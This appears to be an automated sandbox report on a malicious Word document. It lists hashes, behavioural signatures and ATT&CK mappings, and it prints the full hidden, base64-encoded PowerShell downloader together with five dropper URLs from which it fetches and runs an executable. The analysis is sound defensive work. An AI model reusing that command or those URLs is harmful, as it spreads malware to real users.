a061393835489399258b473ba4af1a60e6ff388c71a171d45fe29cbc76515220

General

Target

a061393835489399258b473ba4af1a60e6ff388c71a171d45fe29cbc76515220.doc
Size

182KB
MD5

f5a5c65b1e3140636198e79fff9c5667
SHA1

a80b0616fd290ca37706c6a3b1ffc99a71583206
SHA256

a061393835489399258b473ba4af1a60e6ff388c71a171d45fe29cbc76515220
SHA512

1f6cc4d668b8b01da42d0d1263e502e28c8e83dcbf9de21a9fcf7ef7203874d02c1e6aed718a41a4ab1c65f9cd479ff13cfda0e2a187c8df820e13d9e67b0e13
SSDEEP

3072:9Nz2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9Nz2k4PF7tGiL3HJk9rD7bdasiv86J

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2872	1568	Powershell.exe	85

Blocklisted process makes network request 4 IoCs

flow	pid	Process
31	2872	Powershell.exe
41	2872	Powershell.exe
44	2872	Powershell.exe
45	2872	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2872	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2452	WINWORD.EXE
2452	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2872	Powershell.exe
2872	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2452	WINWORD.EXE
2452	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 1376	2452	WINWORD.EXE	90
PID 2452 wrote to memory of 1376	2452	WINWORD.EXE	90

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a061393835489399258b473ba4af1a60e6ff388c71a171d45fe29cbc76515220.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1376

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1AC74774.wmf

Filesize
444B

MD5
2567de863b9d00e5bb8b40ac47af2b34

SHA1
3bec53c511bf2da62d156b109b311869d2b388c9

SHA256
8e8a3339f55d91bd7049c2abab81faf5b3d52740c1d8ee4e46830b8bece4292d

SHA512
63ba959520665988b6ea865c332f1201c6b66a4c398356dcbb0021b228da93da2c14908b646fe820f3bcc92029a9ef2995d1b5beba0a6a73e634f821caee64fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD23BF.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ud0dmf0l.mhe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
d420e4eabab1d4305a339e245a412275

SHA1
f39eed539f37a2cc62fc70c611592fbe4743a530

SHA256
e312e336f15832a51ffbbb9bab406c1beb988ca9130a06e8f38aa8177e2eb515

SHA512
c704c779b71bbd323ed8262fca342da1c8442c49fa439c1f750f5ff3d639af6baa4723a595341f4c7b29302bd380e80d69e749d2585e964f300047ba1b1b4223

Download Submit
memory/2452-8-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-16-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-7-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-6-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-10-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-11-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-9-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-12-0x00007FFA24880000-0x00007FFA24890000-memory.dmp

Filesize
64KB

Download
memory/2452-3-0x00007FFA6698D000-0x00007FFA6698E000-memory.dmp

Filesize
4KB

Download
memory/2452-14-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-17-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-0-0x00007FFA26970000-0x00007FFA26980000-memory.dmp

Filesize
64KB

Download
memory/2452-15-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-13-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-19-0x00007FFA24880000-0x00007FFA24890000-memory.dmp

Filesize
64KB

Download
memory/2452-1-0x00007FFA26970000-0x00007FFA26980000-memory.dmp

Filesize
64KB

Download
memory/2452-2-0x00007FFA26970000-0x00007FFA26980000-memory.dmp

Filesize
64KB

Download
memory/2452-4-0x00007FFA26970000-0x00007FFA26980000-memory.dmp

Filesize
64KB

Download
memory/2452-66-0x00007FFA668F0000-0x00007FFA66AE5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-5-0x00007FFA26970000-0x00007FFA26980000-memory.dmp

Filesize
64KB

Download
memory/2872-53-0x000002C1BCA40000-0x000002C1BCA62000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads